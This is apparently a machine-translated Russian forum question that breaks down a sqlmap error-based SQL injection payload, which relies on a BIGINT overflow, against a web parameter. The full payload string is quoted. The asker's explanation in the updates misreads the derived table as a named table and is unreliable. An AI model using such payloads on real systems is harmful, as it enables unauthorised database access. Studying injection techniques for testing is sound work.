Я пытаюсь Метод внедрения SQL на основе ошибок , используя SQLMAP .Методика, определенная SQLMAP:
на основе ошибок - предложение WHERE, HAVING, ORDER BY или GROUP BY (BIGINT UNSIGNED)
Будет замечательно, если кто-то сможетпомогите прояснить, какую полезную нагрузку использует SQLMAP.
Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs
Более конкретно, что происходит в этом запросе SQL
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))
Update1:
Отформатированный запрос выглядит следующим образом:
SELECT
2*(IF((
SELECT
*
FROM
(
SELECT
CONCAT(0x716b626b71,
(
SELECT
(ELT(9092 = 9092, 1))
)
, 0x71626b7071, 0x78)
)
s), 8446744073709551610, 8446744073709551610))
SELECT (ELT(9092 = 9092, 1))
: вывод запроса равен 1, так как 9092=9092
возвращает значение true (т. Е. 1), а функция ELT возвращает 1-й аргумент, т. Е. 1
Таким образом, следующий подзапрос выглядит так: SELECT CONCAT(0x716b626b71, 1, 0x71626b7071, 0x78)
: Query Output приводит к объединенной строке "qkbkq1qbkpqx" (после преобразования шестнадцатеричного значения в строку)
Однако результирующий подзапрос SELECT * FROM qkbkq1qbkpqx
даетошибка: Every derived table must have its own alias
Update2:
Я пропустил псевдоним в запросе, как упоминалось @ tcadidot0.Итак, теперь результирующий подзапрос имеет вид: SELECT * FROM qkbkq1qbkpqx s
И последний запрос: SELECT 2*(IF((SELECT * FROM qkbkq1qbkpqx s), 8446744073709551610, 8446744073709551610))
Если таблица "qkbkq1qbkpqx" существует, то она возвращает 8446744073709551610
, иначе возвращает8446744073709551610
, однако 2 раза результат приводит к этой ошибке: BIGINT value is out of range in '(2 * if((1 > 0),8446744073709551610,8446744073709551610))
при условии, что 1>0
является условием вместо оператора выбора.